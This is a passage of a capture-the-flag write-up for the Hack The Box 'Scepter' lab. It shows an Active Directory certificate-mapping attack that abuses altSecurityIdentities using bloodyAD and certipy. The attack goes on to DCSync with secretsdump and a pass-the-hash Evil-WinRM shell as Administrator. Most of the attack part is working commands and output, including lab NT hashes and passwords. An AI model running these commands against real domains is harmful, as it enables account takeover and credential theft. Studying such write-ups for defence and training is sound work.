I’ve identified p.adams as the target. If I can control a user who can modify the altSecurityIdentities attribute of p.admins, then I can do the same attack again.

On originally solving, I manually guessed to look more closely at who could write p.adams. But a nice technique to use here would be to run bloodAD to find what h.brown can write (as I learned doing Haze):

oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
...[snip]...

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

dsacls will also show the permissions for all users and groups over an object. There’s a ton of output, but I’ll snip to show the interesting parts:

*Evil-WinRM* PS C:\> dsacls "CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
Owner: SCEPTER\Domain Admins
Group: SCEPTER\Domain Admins

Access list:
Allow SCEPTER\Domain Admins           FULL CONTROL
Allow BUILTIN\Account Operators       FULL CONTROL
...[snip]...
Allow SCEPTER\CMS                     SPECIAL ACCESS   <Inherited from parent>
                                      READ PROPERTY
...[snip]...
Allow SCEPTER\CMS                     SPECIAL ACCESS for altSecurityIdentities   <Inherited from parent>
                                      WRITE PROPERTY
...[snip]...
The command completed successfully

The CMS group has “special access” over altSecurityIdentities. If I can add h.brown’s email as an an alternative identify to p.adams, then I can get a ticket that will work as p.adams.

Exploit

p.adams does not have an altSecurityIdentities set:

puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb

But h.brown can set one:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

.

puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb altSecu

Above I set it to p.adams@scepter.htb, but it doesn’t even have to be a real email in the domain. I can also set it to 0xdf@scepter.htb:

puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb' 
[+] p.adams's altSecurityIdentities has been updated

Now this is basically the same attack as before. d.baker can enroll in the StaffAccessCertificate. a.carter can modify d.baker. I’ll set d.baker’s email to match whatever I set as the altSecurityIdentities for p.adams (if the cleanup script has run, I’ll need to do the prior steps to give a.carter access):

puck@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v 0xdf@scepter.htb 
[+] d.baker's mail has been updated

 

Now I can request a certificate as d.baker:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'd.baker.pfx'

 

That certificate can auth as p.adams:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username p.adams
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
File 'p.adams.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

 

Because the email on the certificate (0xdf@scepter.htb) matches the altSecurityIdentities attribute for p.adams, it works.

The hash and the TGT both work to auth as p.adams:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=p.adams.ccache netexec smb DC01.scepter.htb --use-kcache
SMB         DC01.scepter.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         DC01.scepter.htb 445    DC01             [+] SCEPTER.HTB\p.adams from ccache 
                                                                                                      
└─$ netexec smb DC01.scepter.htb -u p.adams -H 1b925c524f447bb821a8789c4b118ce0
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] scepter.htb\p.adams:1b925c524f447bb821a8789c4b118ce0
                                                                                                      

.

Shell as Administrator

Enumeration

I already noted above that p.adams can DCSync as a member of Replication Operators:

 DCSync

secretsdump dumps the hashes :

puck@hacky$ secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :1b925c524f447bb821a8789c4b118ce0 -no-pass 

Evil-WinRM

I’ll use the NTLM hash to get an Evil-WinRM session as administrator:

puck@hacky$ evil-winrm -i DC01.scepter.htb -u administrator -H a291ead3493f9773dc615e66c2ea21c4
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

And get root.txt:


Cleanup Script runs every 15 min. anoying, but understanding needing for a CTF

*Evil-WinRM* PS C:\windows\system32\tasks> dir


    Directory: C:\windows\system32\tasks


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/15/2018  12:19 AM                Microsoft
-a----        4/16/2025  11:11 AM           3404 CleaningUp
-a----        4/16/2025  11:10 AM           3656 CreateExplorerShellUnelevatedTask


*Evil-WinRM* PS C:\windows\system32\tasks> cat CleaningUp
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Author>SCEPTER\Administrator</Author>
    <URI>\CleaningUp</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT15M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2024-11-02T08:21:02Z</StartBoundary>
      <Enabled>true</Enabled>
--snipp--
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NoProfile -ExecutionPolicy Bypass -File C:\Users\Administrator\Links\cleaning_up.ps1</Arguments>
    </Exec>
  </Actions>
</Task>
*Evil-WinRM* PS C:\windows\system32\tasks> cat C:\Users\Administrator\Links\cleaning_up.ps1
# clear the altSecurityIdentities attribute for user p.adams && mail attribute of d.baker user :
Set-ADUser -Identity d.baker -Clear mail
Set-ADUser -Identity p.adams -Clear altSecurityIdentities

# reset password :
Set-ADAccountPassword -Identity "a.carter" -NewPassword (ConvertTo-SecureString "Car@3024!" -AsPlainText -Force) -Reset
Set-ADAccountPassword -Identity "d.baker"  -NewPassword (ConvertTo-SecureString "bak@3025!" -AsPlainText -Force) -Reset

# Computers cleanup :
Get-ADComputer -Filter * -SearchBase "CN=Computers,DC=scepter,DC=htb" | ForEach-Object { Remove-ADComputer -Identity $_.DistinguishedName -Confirm:$false }

# Acls cleanup
dsacls.exe "OU=Staff Access Certificate,DC=scepter,DC=htb" /resetDefaultDACL
dsacls.exe "OU=Staff Access Certificate,DC=scepter,DC=htb" /G "SCEPTER\IT Support:GA"
*Evil-WinRM* PS C:\windows\system32\tasks> 

.

┌──(puck㉿kali)-[~/htb/scepter]
└─$ xfreerdp3 /v:10.10.11.65 /u:puck /p:’Start123!’ /dynamic-resolution

.

 


 

References:

Evil-WinRM uses the Windows Management Instrumentation (WMI) to give you an interactive shell on the Windows host. Winrm Supports PKINIT, meaning if you have a computers PFX file, you can authenticate and get a shell. Note that the command requires a public and a private key in PEM format, that can be extracted by converting the PFX to PEM format. Take a look at the references for more info on that. Password protected PFX files can be cracked with JohnTheRipper.

Command Reference:

Target IP: 10.10.10.1

PFX File: cert.pfx

Domain: EVILCORP

Command:evil-winrm -i 10.10.10.1 -c pub.pem -k priv.pem -S -r EVILCORP

https://github.com/Hackplayers/evil-winrm

https://book.hacktricks.wiki/en/crypto-and-stego/certificates.html#converting-formats